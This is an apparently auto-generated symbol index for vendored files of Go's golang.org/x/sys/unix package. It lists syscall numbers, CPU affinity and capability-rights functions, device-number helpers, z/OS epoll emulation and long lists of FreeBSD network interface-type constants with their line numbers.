constant SYS_UNMOUNT (line 33) | SYS_UNMOUNT = 35
constant SYS_SEMACQUIRE (line 34) | SYS_SEMACQUIRE = 37
constant SYS_SEMRELEASE (line 35) | SYS_SEMRELEASE = 38
constant SYS_SEEK (line 36) | SYS_SEEK = 39
constant SYS_FVERSION (line 37) | SYS_FVERSION = 40
constant SYS_ERRSTR (line 38) | SYS_ERRSTR = 41
constant SYS_STAT (line 39) | SYS_STAT = 42
constant SYS_FSTAT (line 40) | SYS_FSTAT = 43
constant SYS_WSTAT (line 41) | SYS_WSTAT = 44
constant SYS_FWSTAT (line 42) | SYS_FWSTAT = 45
constant SYS_MOUNT (line 43) | SYS_MOUNT = 46
constant SYS_AWAIT (line 44) | SYS_AWAIT = 47
constant SYS_PREAD (line 45) | SYS_PREAD = 50
constant SYS_PWRITE (line 46) | SYS_PWRITE = 51
constant SYS_TSEMACQUIRE (line 47) | SYS_TSEMACQUIRE = 52
constant SYS_NSEC (line 48) | SYS_NSEC = 53
FILE: vendor/golang.org/x/sys/unix/affinity_linux.go
constant cpuSetSize (line 14) | cpuSetSize = _CPU_SETSIZE / _NCPUBITS
type CPUSet (line 17) | type CPUSet
method Zero (line 40) | func (s *CPUSet) Zero() {
method Set (line 55) | func (s *CPUSet) Set(cpu int) {
method Clear (line 63) | func (s *CPUSet) Clear(cpu int) {
method IsSet (line 71) | func (s *CPUSet) IsSet(cpu int) bool {
method Count (line 80) | func (s *CPUSet) Count() int {
function schedAffinity (line 19) | func schedAffinity(trap uintptr, pid int, set *CPUSet) error {
function SchedGetaffinity (line 29) | func SchedGetaffinity(pid int, set *CPUSet) error {
function SchedSetaffinity (line 35) | func SchedSetaffinity(pid int, set *CPUSet) error {
function cpuBitsIndex (line 46) | func cpuBitsIndex(cpu int) int {
function cpuBitsMask (line 50) | func cpuBitsMask(cpu int) cpuMask {
FILE: vendor/golang.org/x/sys/unix/bluetooth_linux.go
constant BTPROTO_L2CAP (line 11) | BTPROTO_L2CAP = 0
constant BTPROTO_HCI (line 12) | BTPROTO_HCI = 1
constant BTPROTO_SCO (line 13) | BTPROTO_SCO = 2
constant BTPROTO_RFCOMM (line 14) | BTPROTO_RFCOMM = 3
constant BTPROTO_BNEP (line 15) | BTPROTO_BNEP = 4
constant BTPROTO_CMTP (line 16) | BTPROTO_CMTP = 5
constant BTPROTO_HIDP (line 17) | BTPROTO_HIDP = 6
constant BTPROTO_AVDTP (line 18) | BTPROTO_AVDTP = 7
constant HCI_CHANNEL_RAW (line 22) | HCI_CHANNEL_RAW = 0
constant HCI_CHANNEL_USER (line 23) | HCI_CHANNEL_USER = 1
constant HCI_CHANNEL_MONITOR (line 24) | HCI_CHANNEL_MONITOR = 2
constant HCI_CHANNEL_CONTROL (line 25) | HCI_CHANNEL_CONTROL = 3
constant HCI_CHANNEL_LOGGING (line 26) | HCI_CHANNEL_LOGGING = 4
constant SOL_BLUETOOTH (line 31) | SOL_BLUETOOTH = 0x112
constant SOL_HCI (line 32) | SOL_HCI = 0x0
constant SOL_L2CAP (line 33) | SOL_L2CAP = 0x6
constant SOL_RFCOMM (line 34) | SOL_RFCOMM = 0x12
constant SOL_SCO (line 35) | SOL_SCO = 0x11
FILE: vendor/golang.org/x/sys/unix/cap_freebsd.go
constant capRightsGoVersion (line 19) | capRightsGoVersion = CAP_RIGHTS_VERSION_00
constant capArSizeMin (line 20) | capArSizeMin = CAP_RIGHTS_VERSION_00 + 2
constant capArSizeMax (line 21) | capArSizeMax = capRightsGoVersion + 2
function capidxbit (line 31) | func capidxbit(right uint64) int {
function rightToIndex (line 35) | func rightToIndex(right uint64) (int, error) {
function caprver (line 43) | func caprver(right uint64) int {
function capver (line 47) | func capver(rights *CapRights) int {
function caparsize (line 51) | func caparsize(rights *CapRights) int {
function CapRightsSet (line 56) | func CapRightsSet(rights *CapRights, setrights []uint64) error {
function CapRightsClear (line 91) | func CapRightsClear(rights *CapRights, clearrights []uint64) error {
function CapRightsIsSet (line 126) | func CapRightsIsSet(rights *CapRights, setrights []uint64) (bool, error) {
function capright (line 159) | func capright(idx uint64, bit uint64) uint64 {
function CapRightsInit (line 165) | func CapRightsInit(rights []uint64) (*CapRights, error) {
function CapRightsLimit (line 180) | func CapRightsLimit(fd uintptr, rights *CapRights) error {
function CapRightsGet (line 186) | func CapRightsGet(fd uintptr) (*CapRights, error) {
FILE: vendor/golang.org/x/sys/unix/constants.go
constant R_OK (line 11) | R_OK = 0x4
constant W_OK (line 12) | W_OK = 0x2
constant X_OK (line 13) | X_OK = 0x1
FILE: vendor/golang.org/x/sys/unix/dev_aix_ppc.go
function Major (line 14) | func Major(dev uint64) uint32 {
function Minor (line 19) | func Minor(dev uint64) uint32 {
function Mkdev (line 25) | func Mkdev(major, minor uint32) uint64 {
FILE: vendor/golang.org/x/sys/unix/dev_aix_ppc64.go
function Major (line 14) | func Major(dev uint64) uint32 {
function Minor (line 19) | func Minor(dev uint64) uint32 {
function Mkdev (line 25) | func Mkdev(major, minor uint32) uint64 {
FILE: vendor/golang.org/x/sys/unix/dev_darwin.go
function Major (line 11) | func Major(dev uint64) uint32 {
function Minor (line 16) | func Minor(dev uint64) uint32 {
function Mkdev (line 22) | func Mkdev(major, minor uint32) uint64 {
FILE: vendor/golang.org/x/sys/unix/dev_dragonfly.go
function Major (line 17) | func Major(dev uint64) uint32 {
function Minor (line 22) | func Minor(dev uint64) uint32 {
function Mkdev (line 28) | func Mkdev(major, minor uint32) uint64 {
FILE: vendor/golang.org/x/sys/unix/dev_freebsd.go
function Major (line 17) | func Major(dev uint64) uint32 {
function Minor (line 22) | func Minor(dev uint64) uint32 {
function Mkdev (line 28) | func Mkdev(major, minor uint32) uint64 {
FILE: vendor/golang.org/x/sys/unix/dev_linux.go
function Major (line 21) | func Major(dev uint64) uint32 {
function Minor (line 28) | func Minor(dev uint64) uint32 {
function Mkdev (line 36) | func Mkdev(major, minor uint32) uint64 {
FILE: vendor/golang.org/x/sys/unix/dev_netbsd.go
function Major (line 11) | func Major(dev uint64) uint32 {
function Minor (line 16) | func Minor(dev uint64) uint32 {
function Mkdev (line 24) | func Mkdev(major, minor uint32) uint64 {
FILE: vendor/golang.org/x/sys/unix/dev_openbsd.go
function Major (line 11) | func Major(dev uint64) uint32 {
function Minor (line 16) | func Minor(dev uint64) uint32 {
function Mkdev (line 24) | func Mkdev(major, minor uint32) uint64 {
FILE: vendor/golang.org/x/sys/unix/dev_zos.go
function Major (line 16) | func Major(dev uint64) uint32 {
function Minor (line 21) | func Minor(dev uint64) uint32 {
function Mkdev (line 27) | func Mkdev(major, minor uint32) uint64 {
FILE: vendor/golang.org/x/sys/unix/dirent.go
function readInt (line 13) | func readInt(b []byte, off, size uintptr) (u uint64, ok bool) {
function readIntBE (line 23) | func readIntBE(b []byte, size uintptr) uint64 {
function readIntLE (line 42) | func readIntLE(b []byte, size uintptr) uint64 {
function ParseDirent (line 65) | func ParseDirent(buf []byte, max int, names []string) (consumed int, cou...
FILE: vendor/golang.org/x/sys/unix/endian_big.go
constant isBigEndian (line 10) | isBigEndian = true
FILE: vendor/golang.org/x/sys/unix/endian_little.go
constant isBigEndian (line 10) | isBigEndian = false
FILE: vendor/golang.org/x/sys/unix/env_unix.go
function Getenv (line 14) | func Getenv(key string) (value string, found bool) {
function Setenv (line 18) | func Setenv(key, value string) error {
function Clearenv (line 22) | func Clearenv() {
function Environ (line 26) | func Environ() []string {
function Unsetenv (line 30) | func Unsetenv(key string) error {
FILE: vendor/golang.org/x/sys/unix/epoll_zos.go
type EpollEvent (line 18) | type EpollEvent struct
constant EPOLLERR (line 25) | EPOLLERR = 0x8
constant EPOLLHUP (line 26) | EPOLLHUP = 0x10
constant EPOLLIN (line 27) | EPOLLIN = 0x1
constant EPOLLMSG (line 28) | EPOLLMSG = 0x400
constant EPOLLOUT (line 29) | EPOLLOUT = 0x4
constant EPOLLPRI (line 30) | EPOLLPRI = 0x2
constant EPOLLRDBAND (line 31) | EPOLLRDBAND = 0x80
constant EPOLLRDNORM (line 32) | EPOLLRDNORM = 0x40
constant EPOLLWRBAND (line 33) | EPOLLWRBAND = 0x200
constant EPOLLWRNORM (line 34) | EPOLLWRNORM = 0x100
constant EPOLL_CTL_ADD (line 35) | EPOLL_CTL_ADD = 0x1
constant EPOLL_CTL_DEL (line 36) | EPOLL_CTL_DEL = 0x2
constant EPOLL_CTL_MOD (line 37) | EPOLL_CTL_MOD = 0x3
function epToPollEvt (line 53) | func epToPollEvt(events uint32) int16 {
function pToEpollEvt (line 73) | func pToEpollEvt(revents int16) uint32 {
type epollImpl (line 93) | type epollImpl struct
method epollcreate (line 112) | func (e *epollImpl) epollcreate(size int) (epfd int, err error) {
method epollcreate1 (line 124) | func (e *epollImpl) epollcreate1(flag int) (fd int, err error) {
method epollctl (line 128) | func (e *epollImpl) epollctl(epfd int, op int, fd int, event *EpollEve...
method epollwait (line 170) | func (e *epollImpl) epollwait(epfd int, events []EpollEvent, msec int)...
type eventPoll (line 101) | type eventPoll struct
method getFds (line 162) | func (ep *eventPoll) getFds() []int {
function EpollCreate (line 205) | func EpollCreate(size int) (fd int, err error) {
function EpollCreate1 (line 209) | func EpollCreate1(flag int) (fd int, err error) {
function EpollCtl (line 213) | func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
function EpollWait (line 219) | func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err erro...
FILE: vendor/golang.org/x/sys/unix/errors_freebsd_386.go
constant DLT_HHDLC (line 11) | DLT_HHDLC = 0x79
constant IFF_SMART (line 12) | IFF_SMART = 0x20
constant IFT_1822 (line 13) | IFT_1822 = 0x2
constant IFT_A12MPPSWITCH (line 14) | IFT_A12MPPSWITCH = 0x82
constant IFT_AAL2 (line 15) | IFT_AAL2 = 0xbb
constant IFT_AAL5 (line 16) | IFT_AAL5 = 0x31
constant IFT_ADSL (line 17) | IFT_ADSL = 0x5e
constant IFT_AFLANE8023 (line 18) | IFT_AFLANE8023 = 0x3b
constant IFT_AFLANE8025 (line 19) | IFT_AFLANE8025 = 0x3c
constant IFT_ARAP (line 20) | IFT_ARAP = 0x58
constant IFT_ARCNET (line 21) | IFT_ARCNET = 0x23
constant IFT_ARCNETPLUS (line 22) | IFT_ARCNETPLUS = 0x24
constant IFT_ASYNC (line 23) | IFT_ASYNC = 0x54
constant IFT_ATM (line 24) | IFT_ATM = 0x25
constant IFT_ATMDXI (line 25) | IFT_ATMDXI = 0x69
constant IFT_ATMFUNI (line 26) | IFT_ATMFUNI = 0x6a
constant IFT_ATMIMA (line 27) | IFT_ATMIMA = 0x6b
constant IFT_ATMLOGICAL (line 28) | IFT_ATMLOGICAL = 0x50
constant IFT_ATMRADIO (line 29) | IFT_ATMRADIO = 0xbd
constant IFT_ATMSUBINTERFACE (line 30) | IFT_ATMSUBINTERFACE = 0x86
constant IFT_ATMVCIENDPT (line 31) | IFT_ATMVCIENDPT = 0xc2
constant IFT_ATMVIRTUAL (line 32) | IFT_ATMVIRTUAL = 0x95
constant IFT_BGPPOLICYACCOUNTING (line 33) | IFT_BGPPOLICYACCOUNTING = 0xa2
constant IFT_BSC (line 34) | IFT_BSC = 0x53
constant IFT_CCTEMUL (line 35) | IFT_CCTEMUL = 0x3d
constant IFT_CEPT (line 36) | IFT_CEPT = 0x13
constant IFT_CES (line 37) | IFT_CES = 0x85
constant IFT_CHANNEL (line 38) | IFT_CHANNEL = 0x46
constant IFT_CNR (line 39) | IFT_CNR = 0x55
constant IFT_COFFEE (line 40) | IFT_COFFEE = 0x84
constant IFT_COMPOSITELINK (line 41) | IFT_COMPOSITELINK = 0x9b
constant IFT_DCN (line 42) | IFT_DCN = 0x8d
constant IFT_DIGITALPOWERLINE (line 43) | IFT_DIGITALPOWERLINE = 0x8a
constant IFT_DIGITALWRAPPEROVERHEADCHANNEL (line 44) | IFT_DIGITALWRAPPEROVERHEADCHANNEL = 0xba
constant IFT_DLSW (line 45) | IFT_DLSW = 0x4a
constant IFT_DOCSCABLEDOWNSTREAM (line 46) | IFT_DOCSCABLEDOWNSTREAM = 0x80
constant IFT_DOCSCABLEMACLAYER (line 47) | IFT_DOCSCABLEMACLAYER = 0x7f
constant IFT_DOCSCABLEUPSTREAM (line 48) | IFT_DOCSCABLEUPSTREAM = 0x81
constant IFT_DS0 (line 49) | IFT_DS0 = 0x51
constant IFT_DS0BUNDLE (line 50) | IFT_DS0BUNDLE = 0x52
constant IFT_DS1FDL (line 51) | IFT_DS1FDL = 0xaa
constant IFT_DS3 (line 52) | IFT_DS3 = 0x1e
constant IFT_DTM (line 53) | IFT_DTM = 0x8c
constant IFT_DVBASILN (line 54) | IFT_DVBASILN = 0xac
constant IFT_DVBASIOUT (line 55) | IFT_DVBASIOUT = 0xad
constant IFT_DVBRCCDOWNSTREAM (line 56) | IFT_DVBRCCDOWNSTREAM = 0x93
constant IFT_DVBRCCMACLAYER (line 57) | IFT_DVBRCCMACLAYER = 0x92
constant IFT_DVBRCCUPSTREAM (line 58) | IFT_DVBRCCUPSTREAM = 0x94
constant IFT_ENC (line 59) | IFT_ENC = 0xf4
constant IFT_EON (line 60) | IFT_EON = 0x19
constant IFT_EPLRS (line 61) | IFT_EPLRS = 0x57
constant IFT_ESCON (line 62) | IFT_ESCON = 0x49
constant IFT_ETHER (line 63) | IFT_ETHER = 0x6
constant IFT_FAITH (line 64) | IFT_FAITH = 0xf2
constant IFT_FAST (line 65) | IFT_FAST = 0x7d
constant IFT_FASTETHER (line 66) | IFT_FASTETHER = 0x3e
constant IFT_FASTETHERFX (line 67) | IFT_FASTETHERFX = 0x45
constant IFT_FDDI (line 68) | IFT_FDDI = 0xf
constant IFT_FIBRECHANNEL (line 69) | IFT_FIBRECHANNEL = 0x38
constant IFT_FRAMERELAYINTERCONNECT (line 70) | IFT_FRAMERELAYINTERCONNECT = 0x3a
constant IFT_FRAMERELAYMPI (line 71) | IFT_FRAMERELAYMPI = 0x5c
constant IFT_FRDLCIENDPT (line 72) | IFT_FRDLCIENDPT = 0xc1
constant IFT_FRELAY (line 73) | IFT_FRELAY = 0x20
constant IFT_FRELAYDCE (line 74) | IFT_FRELAYDCE = 0x2c
constant IFT_FRF16MFRBUNDLE (line 75) | IFT_FRF16MFRBUNDLE = 0xa3
constant IFT_FRFORWARD (line 76) | IFT_FRFORWARD = 0x9e
constant IFT_G703AT2MB (line 77) | IFT_G703AT2MB = 0x43
constant IFT_G703AT64K (line 78) | IFT_G703AT64K = 0x42
constant IFT_GIF (line 79) | IFT_GIF = 0xf0
constant IFT_GIGABITETHERNET (line 80) | IFT_GIGABITETHERNET = 0x75
constant IFT_GR303IDT (line 81) | IFT_GR303IDT = 0xb2
constant IFT_GR303RDT (line 82) | IFT_GR303RDT = 0xb1
constant IFT_H323GATEKEEPER (line 83) | IFT_H323GATEKEEPER = 0xa4
constant IFT_H323PROXY (line 84) | IFT_H323PROXY = 0xa5
constant IFT_HDH1822 (line 85) | IFT_HDH1822 = 0x3
constant IFT_HDLC (line 86) | IFT_HDLC = 0x76
constant IFT_HDSL2 (line 87) | IFT_HDSL2 = 0xa8
constant IFT_HIPERLAN2 (line 88) | IFT_HIPERLAN2 = 0xb7
constant IFT_HIPPI (line 89) | IFT_HIPPI = 0x2f
constant IFT_HIPPIINTERFACE (line 90) | IFT_HIPPIINTERFACE = 0x39
constant IFT_HOSTPAD (line 91) | IFT_HOSTPAD = 0x5a
constant IFT_HSSI (line 92) | IFT_HSSI = 0x2e
constant IFT_HY (line 93) | IFT_HY = 0xe
constant IFT_IBM370PARCHAN (line 94) | IFT_IBM370PARCHAN = 0x48
constant IFT_IDSL (line 95) | IFT_IDSL = 0x9a
constant IFT_IEEE80211 (line 96) | IFT_IEEE80211 = 0x47
constant IFT_IEEE80212 (line 97) | IFT_IEEE80212 = 0x37
constant IFT_IEEE8023ADLAG (line 98) | IFT_IEEE8023ADLAG = 0xa1
constant IFT_IFGSN (line 99) | IFT_IFGSN = 0x91
constant IFT_IMT (line 100) | IFT_IMT = 0xbe
constant IFT_INTERLEAVE (line 101) | IFT_INTERLEAVE = 0x7c
constant IFT_IP (line 102) | IFT_IP = 0x7e
constant IFT_IPFORWARD (line 103) | IFT_IPFORWARD = 0x8e
constant IFT_IPOVERATM (line 104) | IFT_IPOVERATM = 0x72
constant IFT_IPOVERCDLC (line 105) | IFT_IPOVERCDLC = 0x6d
constant IFT_IPOVERCLAW (line 106) | IFT_IPOVERCLAW = 0x6e
constant IFT_IPSWITCH (line 107) | IFT_IPSWITCH = 0x4e
constant IFT_IPXIP (line 108) | IFT_IPXIP = 0xf9
constant IFT_ISDN (line 109) | IFT_ISDN = 0x3f
constant IFT_ISDNBASIC (line 110) | IFT_ISDNBASIC = 0x14
constant IFT_ISDNPRIMARY (line 111) | IFT_ISDNPRIMARY = 0x15
constant IFT_ISDNS (line 112) | IFT_ISDNS = 0x4b
constant IFT_ISDNU (line 113) | IFT_ISDNU = 0x4c
constant IFT_ISO88022LLC (line 114) | IFT_ISO88022LLC = 0x29
constant IFT_ISO88023 (line 115) | IFT_ISO88023 = 0x7
constant IFT_ISO88024 (line 116) | IFT_ISO88024 = 0x8
constant IFT_ISO88025 (line 117) | IFT_ISO88025 = 0x9
constant IFT_ISO88025CRFPINT (line 118) | IFT_ISO88025CRFPINT = 0x62
constant IFT_ISO88025DTR (line 119) | IFT_ISO88025DTR = 0x56
constant IFT_ISO88025FIBER (line 120) | IFT_ISO88025FIBER = 0x73
constant IFT_ISO88026 (line 121) | IFT_ISO88026 = 0xa
constant IFT_ISUP (line 122) | IFT_ISUP = 0xb3
constant IFT_L3IPXVLAN (line 123) | IFT_L3IPXVLAN = 0x89
constant IFT_LAPB (line 124) | IFT_LAPB = 0x10
constant IFT_LAPD (line 125) | IFT_LAPD = 0x4d
constant IFT_LAPF (line 126) | IFT_LAPF = 0x77
constant IFT_LOCALTALK (line 127) | IFT_LOCALTALK = 0x2a
constant IFT_LOOP (line 128) | IFT_LOOP = 0x18
constant IFT_MEDIAMAILOVERIP (line 129) | IFT_MEDIAMAILOVERIP = 0x8b
constant IFT_MFSIGLINK (line 130) | IFT_MFSIGLINK = 0xa7
constant IFT_MIOX25 (line 131) | IFT_MIOX25 = 0x26
constant IFT_MODEM (line 132) | IFT_MODEM = 0x30
constant IFT_MPC (line 133) | IFT_MPC = 0x71
constant IFT_MPLS (line 134) | IFT_MPLS = 0xa6
constant IFT_MPLSTUNNEL (line 135) | IFT_MPLSTUNNEL = 0x96
constant IFT_MSDSL (line 136) | IFT_MSDSL = 0x8f
constant IFT_MVL (line 137) | IFT_MVL = 0xbf
constant IFT_MYRINET (line 138) | IFT_MYRINET = 0x63
constant IFT_NFAS (line 139) | IFT_NFAS = 0xaf
constant IFT_NSIP (line 140) | IFT_NSIP = 0x1b
constant IFT_OPTICALCHANNEL (line 141) | IFT_OPTICALCHANNEL = 0xc3
constant IFT_OPTICALTRANSPORT (line 142) | IFT_OPTICALTRANSPORT = 0xc4
constant IFT_OTHER (line 143) | IFT_OTHER = 0x1
constant IFT_P10 (line 144) | IFT_P10 = 0xc
constant IFT_P80 (line 145) | IFT_P80 = 0xd
constant IFT_PARA (line 146) | IFT_PARA = 0x22
constant IFT_PFLOG (line 147) | IFT_PFLOG = 0xf6
constant IFT_PFSYNC (line 148) | IFT_PFSYNC = 0xf7
constant IFT_PLC (line 149) | IFT_PLC = 0xae
constant IFT_POS (line 150) | IFT_POS = 0xab
constant IFT_PPPMULTILINKBUNDLE (line 151) | IFT_PPPMULTILINKBUNDLE = 0x6c
constant IFT_PROPBWAP2MP (line 152) | IFT_PROPBWAP2MP = 0xb8
constant IFT_PROPCNLS (line 153) | IFT_PROPCNLS = 0x59
constant IFT_PROPDOCSWIRELESSDOWNSTREAM (line 154) | IFT_PROPDOCSWIRELESSDOWNSTREAM = 0xb5
constant IFT_PROPDOCSWIRELESSMACLAYER (line 155) | IFT_PROPDOCSWIRELESSMACLAYER = 0xb4
constant IFT_PROPDOCSWIRELESSUPSTREAM (line 156) | IFT_PROPDOCSWIRELESSUPSTREAM = 0xb6
constant IFT_PROPMUX (line 157) | IFT_PROPMUX = 0x36
constant IFT_PROPWIRELESSP2P (line 158) | IFT_PROPWIRELESSP2P = 0x9d
constant IFT_PTPSERIAL (line 159) | IFT_PTPSERIAL = 0x16
constant IFT_PVC (line 160) | IFT_PVC = 0xf1
constant IFT_QLLC (line 161) | IFT_QLLC = 0x44
constant IFT_RADIOMAC (line 162) | IFT_RADIOMAC = 0xbc
constant IFT_RADSL (line 163) | IFT_RADSL = 0x5f
constant IFT_REACHDSL (line 164) | IFT_REACHDSL = 0xc0
constant IFT_RFC1483 (line 165) | IFT_RFC1483 = 0x9f
constant IFT_RS232 (line 166) | IFT_RS232 = 0x21
constant IFT_RSRB (line 167) | IFT_RSRB = 0x4f
constant IFT_SDLC (line 168) | IFT_SDLC = 0x11
constant IFT_SDSL (line 169) | IFT_SDSL = 0x60
constant IFT_SHDSL (line 170) | IFT_SHDSL = 0xa9
constant IFT_SIP (line 171) | IFT_SIP = 0x1f
constant IFT_SLIP (line 172) | IFT_SLIP = 0x1c
constant IFT_SMDSDXI (line 173) | IFT_SMDSDXI = 0x2b
constant IFT_SMDSICIP (line 174) | IFT_SMDSICIP = 0x34
constant IFT_SONET (line 175) | IFT_SONET = 0x27
constant IFT_SONETOVERHEADCHANNEL (line 176) | IFT_SONETOVERHEADCHANNEL = 0xb9
constant IFT_SONETPATH (line 177) | IFT_SONETPATH = 0x32
constant IFT_SONETVT (line 178) | IFT_SONETVT = 0x33
constant IFT_SRP (line 179) | IFT_SRP = 0x97
constant IFT_SS7SIGLINK (line 180) | IFT_SS7SIGLINK = 0x9c
constant IFT_STACKTOSTACK (line 181) | IFT_STACKTOSTACK = 0x6f
constant IFT_STARLAN (line 182) | IFT_STARLAN = 0xb
constant IFT_STF (line 183) | IFT_STF = 0xd7
constant IFT_T1 (line 184) | IFT_T1 = 0x12
constant IFT_TDLC (line 185) | IFT_TDLC = 0x74
constant IFT_TERMPAD (line 186) | IFT_TERMPAD = 0x5b
constant IFT_TR008 (line 187) | IFT_TR008 = 0xb0
constant IFT_TRANSPHDLC (line 188) | IFT_TRANSPHDLC = 0x7b
constant IFT_TUNNEL (line 189) | IFT_TUNNEL = 0x83
constant IFT_ULTRA (line 190) | IFT_ULTRA = 0x1d
constant IFT_USB (line 191) | IFT_USB = 0xa0
constant IFT_V11 (line 192) | IFT_V11 = 0x40
constant IFT_V35 (line 193) | IFT_V35 = 0x2d
constant IFT_V36 (line 194) | IFT_V36 = 0x41
constant IFT_V37 (line 195) | IFT_V37 = 0x78
constant IFT_VDSL (line 196) | IFT_VDSL = 0x61
constant IFT_VIRTUALIPADDRESS (line 197) | IFT_VIRTUALIPADDRESS = 0x70
constant IFT_VOICEEM (line 198) | IFT_VOICEEM = 0x64
constant IFT_VOICEENCAP (line 199) | IFT_VOICEENCAP = 0x67
constant IFT_VOICEFXO (line 200) | IFT_VOICEFXO = 0x65
constant IFT_VOICEFXS (line 201) | IFT_VOICEFXS = 0x66
constant IFT_VOICEOVERATM (line 202) | IFT_VOICEOVERATM = 0x98
constant IFT_VOICEOVERFRAMERELAY (line 203) | IFT_VOICEOVERFRAMERELAY = 0x99
constant IFT_VOICEOVERIP (line 204) | IFT_VOICEOVERIP = 0x68
constant IFT_X213 (line 205) | IFT_X213 = 0x5d
constant IFT_X25 (line 206) | IFT_X25 = 0x5
constant IFT_X25DDN (line 207) | IFT_X25DDN = 0x4
constant IFT_X25HUNTGROUP (line 208) | IFT_X25HUNTGROUP = 0x7a
constant IFT_X25MLP (line 209) | IFT_X25MLP = 0x79
constant IFT_X25PLE (line 210) | IFT_X25PLE = 0x28
constant IFT_XETHER (line 211) | IFT_XETHER = 0x1a
constant IPPROTO_MAXID (line 212) | IPPROTO_MAXID = 0x34
constant IPV6_FAITH (line 213) | IPV6_FAITH = 0x1d
constant IPV6_MIN_MEMBERSHIPS (line 214) | IPV6_MIN_MEMBERSHIPS = 0x1f
constant IP_FAITH (line 215) | IP_FAITH = 0x16
constant IP_MAX_SOURCE_FILTER (line 216) | IP_MAX_SOURCE_FILTER = 0x400
constant IP_MIN_MEMBERSHIPS (line 217) | IP_MIN_MEMBERSHIPS = 0x1f
constant MAP_NORESERVE (line 218) | MAP_NORESERVE = 0x40
constant MAP_RENAME (line 219) | MAP_RENAME = 0x20
constant NET_RT_MAXID (line 220) | NET_RT_MAXID = 0x6
constant RTF_PRCLONING (line 221) | RTF_PRCLONING = 0x10000
constant RTM_OLDADD (line 222) | RTM_OLDADD = 0x9
constant RTM_OLDDEL (line 223) | RTM_OLDDEL = 0xa
constant RT_CACHING_CONTEXT (line 224) | RT_CACHING_CONTEXT = 0x1
constant RT_NORTREF (line 225) | RT_NORTREF = 0x2
constant SIOCADDRT (line 226) | SIOCADDRT = 0x8030720a
constant SIOCALIFADDR (line 227) | SIOCALIFADDR = 0x8118691b
constant SIOCDELRT (line 228) | SIOCDELRT = 0x8030720b
constant SIOCDLIFADDR (line 229) | SIOCDLIFADDR = 0x8118691d
constant SIOCGLIFADDR (line 230) | SIOCGLIFADDR = 0xc118691c
constant SIOCGLIFPHYADDR (line 231) | SIOCGLIFPHYADDR = 0xc118694b
constant SIOCSLIFPHYADDR (line 232) | SIOCSLIFPHYADDR = 0x8118694a
FILE: vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
constant DLT_HHDLC (line 11) | DLT_HHDLC = 0x79
constant IFF_SMART (line 12) | IFF_SMART = 0x20
constant IFT_1822 (line 13) | IFT_1822 = 0x2
constant IFT_A12MPPSWITCH (line 14) | IFT_A12MPPSWITCH = 0x82
constant IFT_AAL2 (line 15) | IFT_AAL2 = 0xbb
constant IFT_AAL5 (line 16) | IFT_AAL5 = 0x31
constant IFT_ADSL (line 17) | IFT_ADSL = 0x5e
constant IFT_AFLANE8023 (line 18) | IFT_AFLANE8023 = 0x3b
constant IFT_AFLANE8025 (line 19) | IFT_AFLANE8025 = 0x3c
constant IFT_ARAP (line 20) | IFT_ARAP = 0x58
constant IFT_ARCNET (line 21) | IFT_ARCNET = 0x23
constant IFT_ARCNETPLUS (line 22) | IFT_ARCNETPLUS = 0x24
constant IFT_ASYNC (line 23) | IFT_ASYNC = 0x54
constant IFT_ATM (line 24) | IFT_ATM = 0x25
constant IFT_ATMDXI (line 25) | IFT_ATMDXI = 0x69
constant IFT_ATMFUNI (line 26) | IFT_ATMFUNI = 0x6a
constant IFT_ATMIMA (line 27) | IFT_ATMIMA = 0x6b
constant IFT_ATMLOGICAL (line 28) | IFT_ATMLOGICAL = 0x50
constant IFT_ATMRADIO (line 29) | IFT_ATMRADIO = 0xbd
constant IFT_ATMSUBINTERFACE (line 30) | IFT_ATMSUBINTERFACE = 0x86
constant IFT_ATMVCIENDPT (line 31) | IFT_ATMVCIENDPT = 0xc2
constant IFT_ATMVIRTUAL (line 32) | IFT_ATMVIRTUAL = 0x95
constant IFT_BGPPOLICYACCOUNTING (line 33) | IFT_BGPPOLICYACCOUNTING = 0xa2
constant IFT_BSC (line 34) | IFT_BSC = 0x53
constant IFT_CCTEMUL (line 35) | IFT_CCTEMUL = 0x3d
constant IFT_CEPT (line 36) | IFT_CEPT = 0x13
constant IFT_CES (line 37) | IFT_CES = 0x85
constant IFT_CHANNEL (line 38) | IFT_CHANNEL = 0x46
constant IFT_CNR (line 39) | IFT_CNR = 0x55
constant IFT_COFFEE (line 40) | IFT_COFFEE = 0x84
constant IFT_COMPOSITELINK (line 41) | IFT_COMPOSITELINK = 0x9b
constant IFT_DCN (line 42) | IFT_DCN = 0x8d
constant IFT_DIGITALPOWERLINE (line 43) | IFT_DIGITALPOWERLINE = 0x8a
constant IFT_DIGITALWRAPPEROVERHEADCHANNEL (line 44) | IFT_DIGITALWRAPPEROVERHEADCHANNEL = 0xba
constant IFT_DLSW (line 45) | IFT_DLSW = 0x4a
constant IFT_DOCSCABLEDOWNSTREAM (line 46) | IFT_DOCSCABLEDOWNSTREAM = 0x80
constant IFT_DOCSCABLEMACLAYER (line 47) | IFT_DOCSCABLEMACLAYER = 0x7f
constant IFT_DOCSCABLEUPSTREAM (line 48) | IFT_DOCSCABLEUPSTREAM = 0x81
constant IFT_DS0 (line 49) | IFT_DS0 = 0x51
constant IFT_DS0BUNDLE (line 50) | IFT_DS0BUNDLE = 0x52
constant IFT_DS1FDL (line 51) | IFT_DS1FDL = 0xaa
constant IFT_DS3 (line 52) | IFT_DS3 = 0x1e
constant IFT_DTM (line 53) | IFT_DTM = 0x8c
constant IFT_DVBASILN (line 54) | IFT_DVBASILN = 0xac
constant IFT_DVBASIOUT (line 55) | IFT_DVBASIOUT = 0xad
constant IFT_DVBRCCDOWNSTREAM (line 56) | IFT_DVBRCCDOWNSTREAM = 0x93
constant IFT_DVBRCCMACLAYER (line 57) | IFT_DVBRCCMACLAYER = 0x92
constant IFT_DVBRCCUPSTREAM (line 58) | IFT_DVBRCCUPSTREAM = 0x94
constant IFT_ENC (line 59) | IFT_ENC = 0xf4
constant IFT_EON (line 60) | IFT_EON = 0x19
constant IFT_EPLRS (line 61) | IFT_EPLRS = 0x57
constant IFT_ESCON (line 62) | IFT_ESCON = 0x49
constant IFT_ETHER (line 63) | IFT_ETHER = 0x6
constant IFT_FAITH (line 64) | IFT_FAITH = 0xf2
constant IFT_FAST (line 65) | IFT_FAST = 0x7d
constant IFT_FASTETHER (line 66) | IFT_FASTETHER = 0x3e
constant IFT_FASTETHERFX (line 67) | IFT_FASTETHERFX = 0x45
constant IFT_FDDI (line 68) | IFT_FDDI = 0xf
constant IFT_FIBRECHANNEL (line 69) | IFT_FIBRECHANNEL = 0x38
